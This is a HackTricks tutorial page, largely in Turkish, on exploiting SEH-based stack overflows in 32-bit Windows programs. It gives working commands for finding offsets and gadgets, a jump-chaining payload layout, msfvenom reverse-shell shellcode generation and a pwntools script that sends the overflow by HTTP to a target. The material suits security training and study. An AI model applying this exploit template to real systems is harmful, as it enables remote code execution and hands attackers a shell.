Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
SEH-based exploitation, stack üzerinde saklanan Structured Exception Handler zincirini suistimal eden klasik bir x86 Windows tekniğidir. Bir stack buffer overflow iki 4 baytlık alanı ezdiğinde
- nSEH: sonraki SEH kaydına işaretçi, ve
- SEH: exception handler fonksiyonuna işaretçi
saldırgan yürütmeyi şu şekilde ele geçirebilir:
- SEH'yi, korumasız bir modülde bulunan bir POP POP RET gadget'ının adresine ayarlayarak — böylece bir exception tetiklendiğinde gadget saldırgan-kontrollü baytlara geri döner, ve
- nSEH'yi kullanarak yürütmeyi (tipik olarak kısa bir jump) shellcode'un bulunduğu ve taşma yapan büyük buffera geri yönlendirerek.
Bu teknik 32-bit proseslere (x86) özgüdür. Modern sistemlerde gadget için SafeSEH ve ASLR olmayan bir modül tercih edin. Kötü karakterler genellikle C-strings ve HTTP parsing nedeniyle 0x00, 0x0a, 0x0d (NUL/CR/LF) içerir.
Tam offsetleri bulma (nSEH / SEH)
- Süreci çökertin ve SEH zincirinin ezildiğini doğrulayın (örn., x32dbg/x64dbg içinde SEH görünümünü kontrol edin).
- Taşma verisi olarak cyclic pattern gönderin ve nSEH ile SEH'ye düşen iki dword'un offsetlerini hesaplayın.
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
O pozisyonlara işaretleyiciler yerleştirerek doğrulayın (ör. nSEH=b"BB", SEH=b"CC"). Çöküşün tekrarlanabilir olması için toplam uzunluğu sabit tutun.
POP POP RET (SEH gadget) Seçimi
SEH çerçevesini açmak ve nSEH byte'larınıza geri dönmek için bir POP POP RET dizisine ihtiyacınız var. Bunu SafeSEH olmayan ve ideal olarak ASLR olmayan bir modülde bulun:
- Mona (Immunity/WinDbg):
!mona modules
ardından!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
ile POP POP RET gadget'larını ve SafeSEH durumunu listeleyin.
Little-endian yazıldığında badchars içermeyen bir adres seçin (ör. p32(0x004094D8)
). Koruma mekanizmaları izin veriyorsa gadget'ları vulnerable binary içinde tercih edin.
Geri atlama tekniği (short + near jmp)
nSEH yalnızca 4 byte'tır ve en fazla 2-byte'lık bir short jump (EB xx
) artı padding'e sığar. Eğer buffer başlangıcına erişmek için yüzlerce byte geri atlamak zorundaysanız, nSEH'den hemen önce yerleştirilmiş 5-byte'lık bir near jump kullanın ve nSEH'den yapılan short jump ile ona zincirleyin.
nasmshell ile:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
660 offsetinde nSEH bulunan 1000-byte payload için düzen fikri:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Execution flow:
- İstisna oluşur; dispatcher üzerine yazılmış SEH'i kullanır.
- POP POP RET, nSEH'imize doğru açılma (unwind) gerçekleştirir.
- nSEH, 5-byte near jump içine
jmp short -8
çalıştırır. - Near jump, buffer'ımızın başlangıcına iner; burada NOP sled + shellcode bulunur.
Kötü karakterler
Tam bir badchar string oluşturun ve çöküş sonrası stack memory'yi karşılaştırarak, hedef parser tarafından bozulmuş byte'ları çıkarın. HTTP-based overflows için, \x00\x0a\x0d
neredeyse her zaman hariç tutulur.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generation (x86)
msfvenom'i badchars ile kullanın. Küçük bir NOP sled iniş varyansını tolere etmeye yardımcı olur.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Eğer dinamik olarak üretiyorsanız, hex formatı Python'da embed etmek ve unhex yapmak için kullanışlıdır:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
HTTP üzerinden gönderme (kesin CRLF + Content-Length)
Zafiyet vektörü bir HTTP isteği gövdesiyse, sunucunun taşan gövdeyi tamamen okumasını sağlamak için tam CRLFs ve Content-Length ile ham bir istek oluşturun.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Araçlar
- x32dbg/x64dbg ile SEH chain'i gözlemlemek ve crash'i triage etmek.
- ERC.Xdbg (x64dbg eklentisi) ile SEH gadget'larını listelemek için:
ERC --SEH
. - Mona alternatif olarak:
!mona modules
,!mona seh
. - nasmshell kısa/near jump'ları assemble etmek ve ham opcode'ları kopyalamak için.
- pwntools hassas ağ payload'ları oluşturmak için.
Notlar ve uyarılar
- Yalnızca x86 süreçlerine uygulanır. x64 farklı bir SEH şeması kullanır ve SEH-based exploitation genellikle uygulanabilir değildir.
- SafeSEH ve ASLR olmayan modüllerdeki gadget'ları tercih edin; aksi halde, süreç içine yüklenmiş korumasız bir modül bulun.
- Çökme sonrasında otomatik yeniden başlatma yapan service watchdog'ları iteratif exploit geliştirmeyi kolaylaştırabilir.
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.